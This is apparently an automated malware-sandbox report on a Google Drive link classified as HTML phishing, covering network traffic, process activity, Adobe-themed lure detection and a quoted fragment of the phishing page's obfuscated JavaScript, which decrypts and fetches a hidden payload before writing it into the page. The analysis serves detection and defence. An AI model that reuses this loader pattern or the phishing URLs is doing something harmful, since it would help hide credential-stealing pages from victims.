Edit tour

Windows Analysis Report
https://drive.google.com/file/d/1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M/view?usp=sharing

Overview

General Information

Sample URL:	https://drive.google.com/file/d/1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M/view?usp=sharing
Analysis ID:	1535236
Infos:

Detection

HTMLPhisher

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish70

AI detected landing page (webpage, office document or email) (A)

HTML page contains hidden javascript code

Stores files to the Windows start menu directory

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6088 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6928 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1960,i,13056913598050671947,6904505305277812816,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6456 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://drive.google.com/file/d/1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M/view?usp=sharing" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_133	JoeSecurity_HtmlPhish_70	Yara detected HtmlPhish_70	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish70

Source: Yara match

File source: dropped/chromecache_133, type: DROPPED

Source: https://ac-acsi.pages.dev/#3bGNvdWNob3RAanBwbHVzLmNvbQ==

HTTP Parser: Base64 decoded: {"a":"vrK1lNT5KCetx9S1moi6+LlpQVByrzYJ8HjzGOwvChvW9+7pEvIq077wRY2m2qgz","c":"44c983c37145b1412b81a2198e00d1b7","b":"6e80f79a7691a3e88f49936e0965adbee7c0dfb86e23b0fd1f6dab44b9462ac6b9c1e76620764c3b4602615fb41c9d4cbf58cf5d9603143feb0b9d88baac9c7fe5d3fd0e85c...

Source: https://ac-acsi.pages.dev/#3bGNvdWNob3RAanBwbHVzLmNvbQ==

HTTP Parser: async functiongainful(sabot){ var {a,b,c,d} = json.parse(sabot);return cryptojs.aes.decrypt(a, cryptojs.pbkdf2(cryptojs.enc.hex.parse(d),cryptojs.enc.hex.parse(b), {hasher: cryptojs.algo.sha512, keysize:64/8, iterations: 999}), {iv: cryptojs.enc.hex.parse(c)}).tostring(cryptojs.enc.utf8);} async function babysitting() {earthbound.hidden = 0; habit.hidden =1; document.write(awaitgainful(await (awaitfetch(awaitgainful(atob(`eyjhijoidnjlmwxovdvlq2v0edltmw1vatyrtgxwuvzcexj6wuo4sgp6r093dknodlc5kzdwrxzjcta3n3dswtjtmnfneiisimmioii0ngm5odnjmzcxndvimtqxmmi4mweymtk4ztawzdfinyisimiioii2ztgwzjc5ytc2otfhm2u4ogy0otkznmuwoty1ywrizwu3yzbkzmi4nmuym2iwzmqxzjzkywi0ngi5ndyyywm2yjljmwu3njyymdc2ngmzyjq2mdi2mtvmyjqxyzlkngnizju4y2y1zdk2mdmxndnmzwiwyjlkodhiywfjowm3zmu1zdnmzdblodvjodrmn2nkmzkxnjnhyjnhzmvkytaxnzy2njdhzduznwy5mtrkotk3mda4ymjmnju2zgu3ogu3y2jmzjy0ytk3odfjnjqxn2rlnwmyognmzde2yzc5yzviodfiyzm0mzc2ngy2mje3mdg3yjvhytizmmy4zjzkmznjzdy1y2e5ywfkn2vjmme2ytu5njcyzt...

Source: https://drive.google.com/file/d/1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M/view	HTTP Parser: No favicon
Source: https://ac-acsi.pages.dev/#3bGNvdWNob3RAanBwbHVzLmNvbQ==	HTTP Parser: No favicon
Source: https://ac-acsi.pages.dev/#3bGNvdWNob3RAanBwbHVzLmNvbQ==	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49810 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: blobcomments-pa.clients6.google.com
Source: global traffic	DNS traffic detected: DNS query: peoplestackwebexperiments-pa.clients6.google.com
Source: global traffic	DNS traffic detected: DNS query: ac-acsi.pages.dev
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com

Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49810 version: TLS 1.2

Source: classification engine

Classification label: mal52.phis.win@21/38@36/300

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1960,i,13056913598050671947,6904505305277812816,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://drive.google.com/file/d/1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M/view?usp=sharing"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1960,i,13056913598050671947,6904505305277812816,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: Window Recorder

Window detected: More than 3 window changes detected

Persistence and Installation Behavior

AI detected landing page (webpage, office document or email) (A)

Source: https://drive.google.com/file/d/1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M/view	LLM: Page contains button: 'Open Document' Source: '2.0.pages.csv'
Source: https://drive.google.com/file/d/1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M/view	LLM: Page contains button: 'Open Document' Source: '2.1.pages.csv'

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Name	IP	Active	Malicious	Reputation
blobcomments-pa.clients6.google.com	142.250.185.234	true	false	unknown
ac-acsi.pages.dev	172.66.47.115	true	false	unknown
play.google.com	216.58.206.78	true	false	unknown
plus.l.google.com	216.58.206.78	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
challenges.cloudflare.com	104.18.95.41	true	false	unknown
drive.google.com	142.250.185.142	true	false	unknown
www.google.com	216.58.212.132	true	false	unknown
peoplestackwebexperiments-pa.clients6.google.com	216.58.212.138	true	false	unknown
apis.google.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ac-acsi.pages.dev/#3bGNvdWNob3RAanBwbHVzLmNvbQ==	false		unknown
https://drive.google.com/file/d/1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M/view	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.67	unknown	United States	15169	GOOGLEUS	false
142.250.186.170	unknown	United States	15169	GOOGLEUS	false
172.217.18.14	unknown	United States	15169	GOOGLEUS	false
216.58.206.78	play.google.com	United States	15169	GOOGLEUS	false
216.58.206.35	unknown	United States	15169	GOOGLEUS	false
64.233.166.84	unknown	United States	15169	GOOGLEUS	false
142.250.185.142	drive.google.com	United States	15169	GOOGLEUS	false
142.250.186.131	unknown	United States	15169	GOOGLEUS	false
172.66.44.141	unknown	United States	13335	CLOUDFLARENETUS	false
216.58.212.174	unknown	United States	15169	GOOGLEUS	false
142.250.186.74	unknown	United States	15169	GOOGLEUS	false
142.250.186.138	unknown	United States	15169	GOOGLEUS	false
142.250.186.35	unknown	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
216.58.212.138	peoplestackwebexperiments-pa.clients6.google.com	United States	15169	GOOGLEUS	false
216.58.212.132	www.google.com	United States	15169	GOOGLEUS	false
142.250.186.163	unknown	United States	15169	GOOGLEUS	false
216.58.206.67	unknown	United States	15169	GOOGLEUS	false
172.217.18.3	unknown	United States	15169	GOOGLEUS	false
142.250.185.234	blobcomments-pa.clients6.google.com	United States	15169	GOOGLEUS	false
142.250.185.132	unknown	United States	15169	GOOGLEUS	false
216.58.206.42	unknown	United States	15169	GOOGLEUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.185.238	unknown	United States	15169	GOOGLEUS	false
142.250.186.106	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.174	unknown	United States	15169	GOOGLEUS	false
172.66.47.115	ac-acsi.pages.dev	United States	13335	CLOUDFLARENETUS	false
142.250.185.131	unknown	United States	15169	GOOGLEUS	false
142.250.181.228	unknown	United States	15169	GOOGLEUS	false
142.250.184.238	unknown	United States	15169	GOOGLEUS	false
216.58.212.163	unknown	United States	15169	GOOGLEUS	false
142.250.185.74	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1535236
Start date and time:	2024-10-16 18:40:36 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://drive.google.com/file/d/1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M/view?usp=sharing
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal52.phis.win@21/38@36/300

Warnings

Exclude process from analysis (whitelisted): svchost.exe
Excluded IPs from analysis (whitelisted): 64.233.166.84, 142.250.184.238, 142.250.186.131, 34.104.35.123, 142.250.186.170, 172.217.18.3, 216.58.206.67
Excluded domains from analysis (whitelisted): fonts.googleapis.com, clients2.google.com, accounts.google.com, edgedl.me.gvt1.com, fonts.gstatic.com, clientservices.googleapis.com, clients.l.google.com, www.gstatic.com
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: https://drive.google.com/file/d/1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M/view?usp=sharing

LLM Input / Output

Input	Output
URL: https://drive.google.com/file/d/1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M/view Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Open Document", "prominent_button_name": "Open Document", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://drive.google.com/file/d/1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M/view Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Open Document", "prominent_button_name": "Open Document", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://drive.google.com/file/d/1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M/view Model: claude-3-haiku-20240307	```json { "brands": [ "Applied Controls", "Adobe Document Cloud" ] }

URL: https://drive.google.com/file/d/1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M/view Model: claude-3-haiku-20240307	```json { "brands": [ "Applied Controls", "Adobe Document Cloud" ] }

URL: https://drive.google.com/file/d/1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M/view Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Hello, Adobe Document Cloud. It'll revolutionize the way the world works with documents.", "prominent_button_name": "Open Document", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://drive.google.com/file/d/1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M/view Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Open Document", "prominent_button_name": "Open Document", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

